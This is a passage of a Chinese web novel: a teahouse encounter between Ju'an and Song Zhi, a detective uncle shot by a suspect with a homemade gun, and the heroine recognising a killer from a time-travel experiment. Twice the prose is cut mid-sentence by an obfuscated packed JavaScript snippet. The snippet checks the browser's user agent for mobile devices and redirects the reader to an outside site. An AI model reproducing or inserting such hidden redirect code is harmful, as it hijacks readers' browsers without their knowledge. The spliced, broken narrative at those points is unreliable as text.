她知道她的极限至多就是搞搞暧昧,让她厚着脸皮去追对自己完全没兴趣的男生,不出两天,心态就会崩掉。 所以,她不允许自己那么做。 “我需要考虑清楚。”雎安的声音清洌到有些发冷。 宋挚即刻意识到自己的提醒起了反作用,索性又将话锋一转,“你看过《悠长假期》吗?” 此话一出,雎安的脑中即刻浮现自己刚才探着个头偷听被抓个正着的模样。一时间,尴尬的情绪让她头脑混乱,明知故问道:“木村拓哉那个?” 宋挚幽幽地看着她,点了点头。 雎安没多想,就回应了他:“我没看过全剧,只是在些唯美吻戏合集里看过一些片段,我记得他的头发是......” 说着,雎安将双手放在耳侧比划,张嘴想说什么。可不一会儿,她就放下了手,眼睛瞪得浑圆,“我搜给你看吧。” 只见她拿起桌面的手机,埋头翻视频的样子异常专注,宋挚别开眼,终于有心思观察起这家店的装潢来。 一圈下来,他得出结论:古色古香,干净亮堂。 和他挑选的餐馆完全不是一个风格,这像是他爸妈会喜欢的店铺。 “你好,是你的酸梅饮吗?” 端着饮料过来的是一个面生的男服务员。 宋挚指了指桌面,道:“放那就好,谢谢。” 茶馆的网络不太好,点开图片都得打两个转,视频完全打不开。 雎安虽低着头,却是留了一半的注意力在宋挚身上,他知道他百无聊赖地看了一圈后又将视线放回到她身上。 她干脆切换成自己的网络,提醒道:“半小时前,你不是说要去见个朋友吗?” 她希望宋挚会出现一副顿悟的表情,然后快步离开。 可现实就是,他的声音含笑,像羽毛一样轻轻地飘了过来,却又像猫爪子一样挠了她一下,“你不也说约了个人吗?” 他们都在撒谎。 雎安敲击屏幕的手一顿,蓦地红了耳根。 宋挚对雎安的这个反应已经习以为常,但他知道调侃就该点到为止,故而出声缓解她的尴尬,“我说要见的人就是刚刚的服务员,只是这里的布局太乱,我在里面兜了几个圈。” 既然给了台阶,雎安就顺着说道:“下次你可以从后门进来,一进门就是这家店。” 她点开播放量最高的那个视频,确认画质足够清晰后,将进度条拉到开头,歪着身子把手机放到宋挚面前的桌子上,“呐,给你看。” 宋挚伸出左手去扶正手机,见她动作太大,右手下意识地扶了她一把,怕她会因为惯性而倾倒。 画面里,叶山南坐在钢琴凳上略显笨拙地弹奏着钢琴,濑名秀俊看着她,不断地垂眸又抬眸,眼泪一直在眼眶里打转。 雎安选的视频非常高清,别说是发型,就连演员细微的表情变化和角落里的装饰品都清晰可见。 宋挚应该能凭着这个想起些什么吧?或许是他的某个老同学? 雎安只希望他赶紧离开。 “我还以为是你说的吻戏合集。”宋挚没忍住调侃了一句,侧头望向她的表情,是带着克制的似笑非笑。 雎安看着他,第一次觉得这帅脸有些......欠扁。 午间的阳光灼热且猛烈,霸道地透过茶馆的素青色窗帘,照得雎安的后背处仿佛团着一股热气,让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15979854|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心生烦躁。 她想换个座位,但碍于宋挚在,所以迟迟没有动作。 “你想看吗” 她的眼睛睁得比平常都要大,一副懵懂又单纯的模样,不等宋挚回答,她就拿回手机开始翻找收藏记录,“我找给你。” 宋挚低头轻笑,觉得自己被她认真的模样打败了。 “嘶!” 一声短促却尖锐的声音从雎安的身后响起,吓得她飞速转头,一脸愕然。 宋挚需要借力去拉远处的窗帘,手还靠在雎安的椅背上。 他刻意往后靠,拉开一些距离,赶忙解释道:“阳光太烈了,还正好照在你的后背上。” 雎安循着宋挚的视线望去,这才注意到窗帘就在她的左手边,刚刚只要她一伸手,就可以消解烈日带给她的炎热。 可她却毫无察觉,而即便她毫无察觉,也有人关照着她的冷暖。 “找到了?”宋挚瞥了一眼雎安的手机画面。 雎安回头,发现宋挚已经收回了放在椅背上的手,“嗯。” 这回,她把手机递到了宋挚的手里。 濑名秀俊:“不如来接吻吧。” 叶山南:“好啊~” 短暂的对视后,男人靠近女人,在她的唇上落下一个轻浅的吻。 音乐响起,他们身后的河面波光粼粼,晚风吹得女人的刘海随之扬起,她闭上了眼睛,满面笑意地等着略显慌张的男人再次鼓起勇气来亲吻她。 而她的男人,没让她等太久。 无论是画面、氛围、还是给人的观感,都有种浪漫至死的美感。 即便画面中的主人公仍在耳鬓厮磨,宋挚也并不觉得尴尬,“你说得对,是很唯美。谢谢你,发型我也看清楚了,是很特别。” 终于凉快下来的雎安,却觉得自己的耳根越来越热,“是标题取得好。” 她接过手机,人还没反应过来,就被电话铃声吓一跳! 她以为是自己的手机,低下头去看,却恰巧看到宋挚从裤兜里摸出了黑色的手机,屏幕上显有两个字:屹叔。 雎安自觉地往后坐,倚靠在椅背上,留给他足够的私人空间。而宋挚在短暂的呆滞后,下意识地往左边挪了挪。 “中午好,屹叔。好久没联系了,你吃过午餐了吗?” 宋挚作为小辈,只简单地寒暄了一句,对面不知说了什么,他的脸色骤变,惊得像是快失去呼吸的本能般。 “阿挚,来华州市第一人民医院,庆生中弹了。” “好,我现在就过去!” “具体的情况,等到了现场我再和你说。”语毕,王屹挂断了电话。 宋挚听着手机里传出的忙音,扭头看向一脸惊诧的雎安,“我先走了,下次再聊。” 不等雎安作出反应,他就已经消失在她的视线之内。 雎安拿起手边的那杯清莲饮,一口气灌下半杯。 在“逃离餐馆”的时候,她就觉得哪怪怪的,可又找不出那奇怪的点。 此刻,她终于找到奇怪的点在哪了! 在她两次提及叶扶英的时候,宋挚脱口而出的称呼都是叶老师。 可她从未和宋挚说过,她在装置里救下的老师姓叶! 30. 姐姐,你胆子怎么变小了? “需要我献血吗?” 宋挚刚到,弯着腰,双手撑在膝盖上,气喘吁吁地问道。 张骁拍了拍他的后背,示意他先缓口气,“亲属之间是不能输血的,有风险。” 宋挚回想起之前邓玉瑛做手术的时候,他和宋教授都被抽过血。 他直起身,问道:“手术中要输血的话,不是要先献血才能用血的吗?” “我和老张抽过了。”王屹从洗手间里出来,走到宋挚面前,“我本来想打给庆生的爸妈,但考虑到叔叔阿姨年纪大,受不得刺激。我就打给你父亲,但他一直没接,最后就只能找你了。” 宋言林十有八九正在为下次实验做准备,不看手机是常态,宋挚早已习惯,“谢谢屹叔和张叔,他现在的情况怎样?” “腹部中枪,伤及脾脏,但是送院及时,医生说不会危及生命。”王屹说这话的时候,眉心几乎拧成了一团,“抱歉阿挚,我和老张还有要事,可能得先离开。” “没事,你们放心,我能照顾好舅舅。就是......”宋挚停顿了会儿,“舅舅为什么会受这么重的伤,你们方便说吗?” 一声枪响让所有人顿在原地。 王屹的反应最快,他以自身经验判断声音是从三楼的右侧传出来的,抬脚就往楼下冲,紧随其后的还有梁询和林布朗。 可三人才跑到三楼那狭长廊道的入口处,就响起了玻璃破碎的声音。 “梁询,你和布朗去楼下追人,一定要小心!” “是!” 廊道的窗户上贴着浅绿色的窗膜,阳光照进来,整条廊道都泛着诡异的绿光。 王屹放慢脚步,双手握枪,警惕地贴着墙一步一步地往前走,听到自己身后有越来越近的脚步声,他快速回头,果然是陈川亮。 两人对视一眼,都没有说话,接着往深处走出。 在即将走到廊道尽头的时候,王屹看了眼那瘸腿的木柜以及木柜上那满是灰尘的热水壶,极为迅速地探出身去。 眼前是一个同样窄小的楼梯间,王屹的正前方是一堵白墙,右侧是三楼房间的大门,左侧是由三楼直通一楼的楼梯,楼梯的转角处还有一个窗户。只是,窗户的玻璃已经被撞碎,所以并没有像廊道的窗户那样泛着诡异的绿光。 王屹的视线顺着从窗户斜射进来的一缕阳光往下看,就发现了躺在楼梯上的邓庆生。 他咬着唇,双手捂着腹部,神情极度痛苦,唇边断断续续地发出极细的低吟声。 “叫救护车!”一时间,王屹顾不得周围是否还有人在埋伏着,直直地冲了下去。 不幸的是,邓庆生的衣服上全是血,止都止不住。 万幸的是,他的师傅王屹没有跟着出事。 梁询此刻拿不准,不知道该不该说,索性闭上嘴,等王屹来决断。 “庆生和汪炎比我先到现场,应该是察觉到什么,就一起下楼查看。平常庆生都非常谨慎对近身袭击的警惕性很高,兴许这次是没想到对方居然有枪。”王屹拍了拍宋挚的肩膀,“阿挚,你知道的,我们这行很危险。” 宋挚认识汪炎。 他是个就比他大三岁黑皮男生,长相周正,身上有着武将的杀伐气,虽然没有亲缘关系,但不论是样貌还是气质,都和王屹有些像。 他既然是和舅舅一起去的现场,现在又不见人,刚刚王屹他们又说有要紧事要处理,难道...... “那汪炎没事吧?”宋挚问道。 “你放心,他猛地很。”梁询扯唇一笑,“他去一楼查探情况,正好碰到从楼梯口冲出去的犯人,在公园沙地把犯人的自制枪打飞以后,还把犯人的右手划出了一个大口子,自己就受了点皮外伤。虽然没能抓住人,但记住了犯人很多特征......” 王屹连咳两声,正色道:“总之,我们一定会抓住伤害庆生的人,绝不会让他逍遥法外。” “好的,你们去忙吧,我守在这里就行。” 宋挚知道再说下去就不合适了。他本来也只是想知道个大概,万一过后外公外婆和宋教授问起来,舅舅又用几句话就敷衍过去的时候,他心里能有个底。 “手术结束以后,庆生的情况如何,麻烦你第一时间告知我。” 王屹回头,最后又看了眼手术室紧闭着的大门,转身离开。 ———————— 雎安确信,宋言林不可能主动和宋挚谈论实验的事。 所以,宋挚是怎么知道她说的老师是叶扶英呢? 她记得她上周二去华州大学做实验的那天,和小组成员吃饭的时候也没有提到叶扶英这个名字啊。 奇怪,真是奇怪! 雎安左思右想,确信自己只有在和宋言林坦白装置里发生的怪事时才提到过,难道...... 雎安一惊,她和宋言林是在两栋教学楼之间的连廊上谈的话,他们的视线所及虽然都没有人。但她现在仔细回想,那里其实有很多视觉死角,宋挚如果是跑到楼上的连廊处或是躲在最近的洗手间里偷听,他们根本就看不见。而她和宋言林回到实验室的时候,宋挚也确实不在实验室。 天哪,他居然偷听?! 雎安不可置信地连连摇头,光是想象宋挚那高大的身影鬼鬼祟祟地猫在角落里偷听,画面带来的违和感就几乎快要冲出天际。 可雎安转念一想,自从邓玉瑛出事后,宋挚几乎把所有心思都放在了如何救回母亲上,甚至愿意相信可以扭转过去这种荒谬的事情。 如果,他认为她和宋言林的秘密谈话至关重要,那他跟出来偷听的行为,解释得通。 只是......解释了他的行为又如何,偷听这个行为虽然让雎安有些反感,但杀伤力并不强,雎安最接受不了他偷听到的内容,是从她嘴里说出的话!是那些尬穿地心的情节! 她说他步步紧逼式地追求她,说他背着兄弟抢夺她,说他时常关怀和照顾她,说他在她2026年的生日那天对她表明心意,还吻了她! 太尬了,这实在是太尬了。 雎安完全不能接受,双手架在桌面上,脑袋就这么从两手之间滑了下去,额头砸在了硬实的桌面上。可她浑然不觉,一心只想着她说过的那些话,以及她刚刚谈及吻戏时,宋挚那含笑的眼睛。 他是不是觉得她很可笑啊?竟然敢在他父亲面前说那些没有发生过的事,敢在他面前刻意提吻戏,甚至还找视频给他看! 他会不会觉得……她是有意勾引? “啊~~~~” 雎安吼出声的那个瞬间,第一个受惊的是她自己。 她是个极为腼腆且害臊的人,换作以往,她绝不认为自己会在公众场合失态,可她今天竟然情不自禁地发泄了情绪,做出了惹人侧目的行为。 “你......你没事吧?” 廖静纯掀开帘子之前还在做心理建设,她并不知道宋挚已经离开,因为害怕宋挚会接着找她麻烦,提心吊胆地走进里屋后,当她看到宋挚原先的座位上没有人的时候,心中悬着的石头终于能落地。可她才刚松一口气,就被雎安突如其来的吼叫吓得呼吸一窒。 “请问需要帮忙吗?” 雎安赶忙抬头,局促地解释道:“没事,我没事,就是想到了些事情。抱歉,吓到你了。” “哦哦,没事就好。”廖静纯恹恹地转身送餐,回来时才注意到那空荡荡的座位前,桌面上还摆着满杯的酸梅饮,故而走过去,低声询问雎安:“这杯酸梅饮你还要吗?” 雎安一愣,摆手道:“这不是我的。” 廖静纯尴尬地笑笑,“我以为那男人是你的朋友,抱歉,那我把这个收掉。”语毕,她拿起杯子,掀帘而去。 雎安视线紧随,直到廖静纯的身影被隔帘遮挡,才低下头去,打开书本,强制自己接着学习。 只是,三十分钟过去,她还是静不下心。 别说是学习,就连刷手机都让她觉得烦躁。 手机里不断跳出父母发来的信息,他们怒气未消,在家庭群里发了好几条“没良心的东西”之类的内容。 雎安选择屏蔽掉群消息,但即便如此,她也知道父母在敲击着什么内容,因为这不是第一次了,而她每次都不可避免地会有种胸口被针扎的刺痛感。 思及此,她联想到了自己要搬出去住的决定,然而对于怎么找房、租房、搬家一窍不通的她而言,现下的每一件事都在困扰着她。 “薇薇~你回来华州了吗?” “对了,之前你租房的时候是在网上找的,还是在线下找的啊?” 发完这两条微信,雎安开始在网上不停地检索租房信息和注意事项,尝试联系了两个中介后,最后和其中一个中介约好明天中午看房。 突然,手机一声震动,是沈薇的信息。 “我已经回来啦!就是刚回来有很多事情要处理,还没时间联系你。我记得你不是在家住吗?不会我才刚回来华州,你就要外出闯荡了吧?!” 雎安读完信息,进而看了眼信息栏右侧的时间框,竟然已经18点了! 她抬头往外看,这才发现窗外的阳光已经变得分外柔和,蓝白色的天空甚至出现了一抹橙红。 于是,她收拾好东西,提上宋挚送给她的礼物,一边往公交站台走,一边回复沈薇:“没有啦! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张徐行婴儿肥的脸颊上浮现出狡黠的笑容,语气浮夸,“客官客官,进来看看嘛~” 张徐行的手势像是古装剧里捏着手帕招客的老鸨,雎安不禁笑出了声。只是,她的笑容才在脸上挂了十几秒,就因为注意到周围有不少人正笑盈盈地打量着他们,顿时脸颊一热,迅速敛去笑容,快步往店里走。 “老朋友了,你得给我打折啊~”雎安为了掩饰尴尬,学着父母寒暄时的语气说话。 张徐行跟在她身后,突然上前一把抓住她的手肘,雎安不明所以,眼底闪过一瞬的惊诧,随即准备开玩笑地询问他是不是打算把她赶出去,就听到他的声音从头顶传来。 “小姐姐,那边没座位了。”张徐行低头轻笑,明知故问:“这里是我的地盘,得由我来带路,你怎么一个劲地往里冲啊?” 这腹黑的小孩明知道她容易害羞,还这样调侃她。 雎安表情讪讪,一时间如鲠在喉,没能在第一时间反击,可不过十几秒,她就心有不甘地准备回怼他。 “陈叔,你的右手怎么在流血?”张徐行松开雎安的手,表情和声音里都透着关怀和紧张,“你去医院看看。” “不用不用。”陈高升扯了下背包的肩带,“我皮糙肉厚,就是备菜的时候不小心划到了,又不是第一次,不要紧!” 张徐行摇头,“你这样不行,要小心破伤风,还是去处理一下吧。” “好。”陈高升无声地笑了下,转而躬身朝徐行身后的女生道:“抱歉,吓到你了。” 刚才两人迎面而来,陈高升注意到张徐行主动牵着女生,此刻女生一脸惊诧地躲在徐行身后,明显是害怕他。 他心中叹气,弯下腰,努力挤出一个温和的笑容,“我就是干粗活的,人长得有些凶,不是什么坏人。” 张徐行这才回头,拍了拍雎安的手肘,打趣道:“姐姐,你胆子怎么变小了?” 见雎安面上的怯色始终未退,陈高升识趣地躲进了后厨,张徐行则认真介绍起陈高升来:“别怕,陈叔是店里的老员工了。之前我们在店里学习,他还给我们端过几次鸡公煲,你难道忘了?” 难怪......难怪她觉得非常眼熟,但又确信自己不认识他,原来这个人虽然和她交集不深,却一直生活在她周围。 “你叫他陈叔,那他的全名是什么?” “陈高升,耳东陈,步步高升的高升。”张徐行不解,“你问这个干嘛?” 雎安对张徐行的疑问充耳不闻,不自觉地默念了一遍名字。 “陈高升。” 31. 都是当狗,你爸可比你机灵多了^…… “你怎么了?”张徐行终于觉察出雎安的不对劲。 她并不像那些单纯被陈叔的样貌和气势震慑到的人。她的情绪眼里有恐惧,话语中又透露着好奇。 “没什么。”雎安故作轻松地笑笑,在最角落的空位坐下,“你说我们之前碰到过他几次,但我连他的名字都不知道。按理来说,他长得很......有特点,我不该对他没印象啊,所以有些好奇而已。” “是吗?邹姐,可是怎么记得你的记性一直都很差啊。” 听完雎安的解释,张徐行的疑惑解除,转而毫不留情地取笑她,“之前让你辅导我,结果你连最基础的数学公式都能忘十来遍?不记得也正常啦~” “拜托!数学公式我不是记不住,是不会灵活运用。”最后四个字,雎安咬得特别用力,说完,还不忘剜他一眼,“你又不是不知道数学在高考的时候拖累了我多少,况且叔叔让我给你补习,补的是英语和地理,你敢说我没帮到你?” 眼前是他咧着嘴笑的模样,耳边是他疯狂踩雷的调侃话语,雎安本来只是想反驳他,谁知语气却越来越重,最后好像真的生了气。 数学一直是她的痛点,越努力越辛酸的那种,以至于她大受打击,临近高考那段时间只要一写数学题就会头疼。后来她又因为数学成绩拖了后腿,没能考上华州大学,被父母拿出来说了很多次,就对数学产生了彻底的厌恶情绪。 “我没说你没帮到我啊。对了,上次那个漂亮的小姐姐呢?”见雎安的眼神如刀子般刺过来,张徐行知道这是她生气的迹象,于是火速转移话题,“没和你一起来吗?” “没有,她是我同事,不在这附近住。” 既然给了台阶,雎安就顺势而下。 她知道在张徐行的眼里,她生气得很突然,没有缘由,莫名其妙。而她也讨厌自己偶尔会出现这样情绪突然失控的时刻,因为这太像她的父母,她害怕自己身上有他们的影子,变得和他们越来越像。 “你问她干嘛?”雎安主动破冰。 张徐行勾唇一笑,“我想要她的微信。” 雎安摇头,“我不能给你,除非她同意。” 张徐行一副‘你怎么这么死板’的表情,“那你把我推给她。” 雎安想起上次汤晴有些害羞的表情,猜想她可能真有点那意思,故而勉为其难地应下,“好吧......” “那姐姐你慢慢吃,我先退下了。” “嗯,拜拜~” 张徐行意识到雎安的情绪不对,碰巧有服务员进来告诉他,他父亲要接待的老板们到了,就不再多停留,转身去门口接卢震南一行人到顶层的VIP观景包厢落座。 雎安拿起手机扫码点餐,听到动静后好奇地探出头去,在发现卢宇年身影的那刻,又猛地缩回头。 她不得不承认,她现在对卢宇年产生了一定的应激反应,虽然他并没有在她面前做过什么实质性的坏事,可他眉宇间透露出的暴躁易怒,行为间显现出的横行霸道,都让她脑中的警铃大作。 雎安深深地呼出一口气,侧身看向窗外,把视线定格在窗外的树梢上,直到动静消失,才放下心来。 手机屏幕还亮着,页面停留在下单结付的最后一步。 雎安拿起手机和包包,打算从后门的巷子离开,那正好是条通往她家小区的近道。 “对不起,我没注意到这有块石头。” 红色保时捷的尾部出现了明显的凹陷,正下方是和凹陷完美契合的方形石凳。 这方形石凳雎安再熟悉不过,几乎遍布于华州的老旧小区,在南林社区更是随处可见。 她记得张记鸡公煲没来这开店之前,这里原先是一栋低矮的铁皮房,房前房后都有一棵树,树下都有石凳以供休憩。 雎安隐在门后,视线逐步上移,看到停车场里那和回忆里相差无几的两棵树,一时竟有些感慨。 “什么石头,这是个石凳。这么大一个石凳你都看不见,你眼睛瞎的?” 卢宇年暴怒的声音让雎安身体一僵,她赶忙缩回到墙后,贴着墙,站得笔直。 他不应该已经在顶楼包厢落座了吗? 雎安咬牙,痛恨这该死的缘分。 “让你停个车都停不好,真废!”卢宇年往前走了两步,左手揣兜,右手拍打男子的脸颊,虽然力度并不大,但侮辱性却是不小,“都是当狗,你爸可比你机灵多了。” “卢总在手机上催我们两次了。”外置电梯的电梯门被沈遂行摁着,一直停在一楼,“李豫只是不小心,谁也没办法保证一直不犯错,这就是件小事而已,以后别让他碰你的车就行了。” “你是在怪我追究他的责任?”卢宇年眼中闪过一丝狠戾,沈遂行识趣地闭上了嘴。 紧接着,卢宇年像是想到什么,瞥了眼低头垂目的李豫,压低声音问道:“我们家经常帮衬你们,我现在只是让你做件这么小的事,可你都做不好。你自己说,你是蠢笨,还是故意的?” 这回,李豫终于张口,“这是我的错,我会赔的。” 他的语气淡淡的,雎安没有从中捕捉到任何慌张和愤怒的情绪。 “你最好有钱赔。”说完,卢宇年轻蔑地哼一声,踹动脚下的小石子,石子砸在李豫的裤腿上,显现出一道轻浅的白色痕迹。随后,他转身走进电梯,沈遂行也跟了进去。 持续一分钟的静默,贴着墙的雎安确定门外没有了动静,小心翼翼地往外迈出一步,准备快速地从后门穿出去。 此刻,她庆幸自己对这地方相当熟悉,更庆幸于她刚才没从前门离开,不然就会直撞枪口,从正面碰上怒气冲冲的卢宇年。 “还算走运。”雎安一边嘀咕一边小跑着往外走,谁知她光顾着看前方而没留心脚下,小腿直直撞上角落里的消防栓,痛得她连退两步,捂着小腿露出龇牙咧嘴的表情。 “阿斯~”雎安压抑着,但唇角仍发出了极轻的吃痛声。 她蹲下身,用手揉搓发红的位置。突然,她的身侧响起了脚步声。 不会吧,难道他们又回来了? 雎安瞬间忘记了疼痛,动作僵硬地侧头去看,直到确认那人不是卢宇年,而是刚才被卢宇年训斥的名为李豫的男人时,先是无意识地呼出一口气,而后身体便跟随意识得到了放松。 李豫像是完全没注意到雎安一样,旁若无人地走到方凳前坐下,突然一个往前探的跺脚,把躲在轮胎下怯生生的幼猫给惊得跑了出来。 他不会是因为这只猫才撞到石凳的吧? 雎安暗自猜测,刚刚她完全没心思观察他,如今仔细看看,他倒是个长得极具港风的男人,像是港片里职场背景下的商业精英,只是他的样貌还透着些稚气,气质和穿着却已经成熟得略显老成。 目送幼猫离去的他仍然没有理会雎安的注视,雎安一度以为自己拥有了隐身的技能。只见他微微侧身,眼睛注视着那车尾处的凹陷,眼睛微微眯起,眼神锐利得似乎是想把那凹陷直接压出个洞来。 刚刚,在他道歉的声音里,雎安听不出任何情绪。 此刻,在他冷冽的锐眼中,雎安感受到了他的愤怒和仇恨。 —————————— “阿挚,你先回去休息会儿,这换我来守。”宋言林轻轻地拍了拍宋挚的肩,把一袋肉包塞到他手里,“记得先把早餐吃了。” 宋挚人还没完全醒,脑袋发懵,只敷衍地点点头,拿着早餐离开了病房。 他现在要做的,是找个地方清醒清醒,想清楚下一步要做什么。 而今,他的舅舅邓庆生在出任务的时候受了重伤,虽然没有生命危险,但医生说想要恢复健康却并不容易。 他难过归难过,可这不是件他可以阻止或逆转的事,除了尽心尽力地照顾,他也只能把其它精力都放在查包裹和救母亲的事上。 “抱歉,那么早打给你。” “没事,你说。”周浮沉接起电话后,宋挚听到的背景音从音乐声变成了嘈杂的人声。 “就是包裹的事,我昨天查到包裹的实名寄件人是廖静纯,委托人查到了她的工作地址,当面问她后,她说是有人给了她钱,让她代为寄出的。她说 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宋挚猜想周浮沉说的案子和舅舅有关,所以即便心中着急,催促请求的话到了嘴边,也没能说出口,“好,麻烦你了。你有空就打电话通知我,我随时有空。” 周浮沉在走廊上接电话,恰巧王屹和几个前辈路过,他恭敬地鞠了个躬,王屹注意到后瞟了一眼,随即快步离开。 “对了,邓叔情况如何?”邓庆生受伤的事,整个警局的人都知道,周浮沉也不例外,“没什么大碍吧?” “没有生命危险,但是人还没醒,医生说伤得有些重。” 短暂的沉默后,周浮沉安慰道:“只要人没事,身体可以慢慢调养。相信医生,也相信邓叔的意志,你和叔叔也别太焦虑了。” “好,我知道的。” 宋挚听到周浮沉那边有人在喊他,也就没再多说,挂断电话后打了个车回家。 而电话那头,收起手机的周浮沉走到梁询身边,被告知九点准时到办公室参加会议,可以帮助他了解案件的最新进展。 “你问问大家都要吃些什么早餐,点了就拿到办公室来。”梁询眉目和善,面带微笑,说的话却不是商量的语气,“我要一份皮蛋瘦肉粥,麻烦了。” “我不是来做这个的。” “啊?” “我先去忙了。”周浮沉语气淡淡的,说完后就转身离开,都没多给梁询一个眼神。 梁询被他如此直接的拒绝,还没来得及作出反应,就连他的背景都看不到了。 “这周浮沉什么来头啊?好大的脾气。” 梁询坐下后对着林布朗抱怨,而林布朗正被手头上的资料搞得心烦意乱,加上她只知道梁询脾气一贯都很好,并不知道周浮沉是什么人,也不知道刚刚发生过什么,于是随口附和道:“你作为前辈,专门跑去通知他开会,他难道还能给你摆脸色?不会是你自己会错意吧?” “呵,谁知道他在想什么?”梁询侧过脸,冷笑一声后结束了这个话题,“反正不是个好相处的人。” ———————— “叮铃叮铃,叮铃叮铃~~” 上午十一点,宋言林起身看了眼桌上的手机,屏幕显示是邹雎安的来电。 他拿起手机,走到窗边接听:“喂你好。” 电话那头的雎安同样是简单的问好,而后支支吾吾地询问下次实验的时间,宋挚想了想,回复道:“这周六吧,没有意外的话,就是这个时间。” “嗯好。”雎安握着手机的手越收越紧,直到宋言林出声询问她还在吗?她才意识到自己沉默得太久,赶忙出声问道:“宋教授,您还记得我说我在装置里救下邓老师的事吗?” 闻言,宋言林的心中生出不好的预感,“记得。” “我说我看到了凶手的脸,觉得那脸很熟悉,只是一时记不起来了。结果就在昨天,我碰到了那个人。” 雎安躲在大厦的楼梯间里压低了声音说话,一副可疑又鬼祟的模样,“他叫陈高升,是张记鸡公煲的店员。” 32. 坚定地走到我身边 只能说,幸好他们并不是当面交流,雎安看不到宋言林顷刻间煞白的脸,不然必定会和宋挚一样起疑,反复揣摩宋言林的反应。 “好,我知道了。”宋言林尽量让自己的语气显得平静,“只是这种事毕竟无凭无据,你可千万不要往外说,也不要私下去接触那个陈高升,最好是连那家店都不要去了。” “嗯。”雎安倒没觉得这话有什么奇怪,只是仍不自觉地叹了口气,“我不会说的。况且,这事说出去也不会有人信的。” 那短促的叹息让宋言林以为雎安是对他的第一反应感到失望,故而解释道:“雎安,如果可以的话,我也想将凶手绳之以法。毕竟,我的小舅子是扶英的未婚夫,虽然已经过去了十一年,但他还是对扶英的死耿耿于怀。可警察抓人讲究证据,他们不会信你,但做贼心虚的人要是知道了,却会因此觉得你对他会造成威胁,从而生出杀心。” 雎安十分认可地点头,“嗯,我明白。” 宋言林接着说道:“我的小舅子是刑警,但他昨天在出任务的时候受了枪伤,等他伤好了,我会找个他能接受的说法,引导他去调查陈高升。所以,这件事你就不要管了。” “枪伤?!怎么会受枪伤啊?” 雎安第一时间捕捉到的信息,就是这两个字。 毕竟,这可是在华州,放眼全国都是出了名的治安好。尤其是近几年,雎安坚信在这受枪伤的几率比出现日全食的概率还要低。 “是啊,这年头居然有歹徒敢在华州自制枪支。” 宋言林望向躺在病床上的邓庆生,他仍然没有醒来,嘴唇虽然因失血过多而有些发白,眉头却没再像往常那般紧蹙着。 乍一看,宋言林不由地生出了一种错觉,兴许他只是在睡一个沉稳的好觉。 “我小舅子怀疑扶英的死和毒贩有关,那个陈高升很有可能是个毒贩。毒贩有多危险,不用我说,你随便去网上搜禁毒的相关视频都能直观地感受到。总之,你一定要远离他,更不要私下去试探,以免惹祸上身,明白了吗?” “嗯,明白。” 雎安听到宋言林用这么严肃的语气,说了这么长的一段话,想起之前他和她交代实验的禁止事项,他告诉她装置会有一些副作用,解答她满腹疑惑时,态度都比此刻要轻描淡写得多。 挂断电话后,雎安在原地站了好一会儿,直到有人来楼道抽烟,她才憋着气离开。 没错,把憋在心里的秘密说出去后很是舒畅,只是,在她听到意料之中的答复后还是有些失望。当下的情况虽不同,却与她在听到宋挚要尝试改变过去时的心情极度相似,矛盾而复杂。 “雎安,我看你一早上都心不在焉的,是在想那件事吗?” 雎安今早是踩点到的公司,都没能和汤晴说上话。待到午餐时间,两人极有默契地走到一起,走进公司附近生意最冷清的饭馆,为的就是避开其他同事。 见雎安一副没回过神的模样,汤晴贴近她,更加确切地问道:“雎安,周六那天你是不是在图书馆?” 雎安这才回过神来,决定先将陈高升的事抛之脑后,转而去看和她打眼色的汤晴,猜想汤晴是在试探她,为的是防止她们去派出所为的不是一件事。 “没错,周六那天我在图书馆。” “那你是不是在厕所碰到偷窥男了?”汤晴在雎安的对面的座位坐下,声音压得极低。 “对,当时我要去洗手间倒水,碰巧撞见一个男的趴在地上,然后我告诉图书馆的工作人员,他们就报警了。”雎安反问道:“你当时在左边的第一个隔间?” 汤晴见服务员过来倒水便噤了声,待人离开后才开口,“我是去过那上厕所,但我根本不知道。还是警察查了监控以后找我,很肯定地说是我。因为那个时候在厕所的人,除了我,只有另一个证人。” 雎安接话:“那另一个证人就是我。” “一个姓周的警官带我到派出所,问我话的时候,还隐约透露出那男的是跟了我一段时间,尾随我进的洗手间,真是恶心死了!” 汤晴的脸色极其难看,一想到在她不知情的时候,那男人在以怎样肮脏的眼神打量她,就恶心得全身鸡皮疙瘩暴起。 “啊?!”这倒是出乎雎安的预料,雎安一直以为那男人是心血来潮地选了个人少的时间进去偷窥,“那你别去图书馆了,免得被盯上。” 此刻两人点的快餐都已经上桌,汤晴毫无食欲,无精打采地道:“是啊,也不知道这种人能判多久。” 雎安想起自己昨天在网上搜索出的结果,丧丧道:“他没威胁我,也没恐吓我,而且他没拿手机偷拍并传播,估计就是拘个五六天。” “这么少!”闻言,汤晴瞪大双眼,对此感到不满,“那这类人岂不是毫无顾虑,就拘留五六天而已,都不该他们反省的,出来了岂不是还敢做?不,这凭什么啊?那......他这种人还侵犯了我的隐私呢,处罚就这么轻吗?” 见汤晴情绪有些激动,雎安站起身,坐到她的身旁安慰道:“没办法,处罚是视情节的严重性来定的。他没有偷拍传播,就不构成刑事犯罪,是被断定为情节较轻的违法行为。” 闻言,汤晴抬眼直勾勾地看着雎安,眼神中透露着不甘和不理解。 雎安接着道:“我和你说,我报警后就坐在原位等警察来,位置是在三楼,警察说他们抓到他的时候,他一直躲在四楼的角落,就没离开图书馆。说实话,我有种不好的预感,总觉得他当时是在四楼观察我的反应,看我到底会不会选择报警。” “希望是我多想吧,只能说......碰到这种人真是晦气。我和你一样,都希望他能受到重罚。”说到这,雎安一声重叹,“可法律就是法律。” 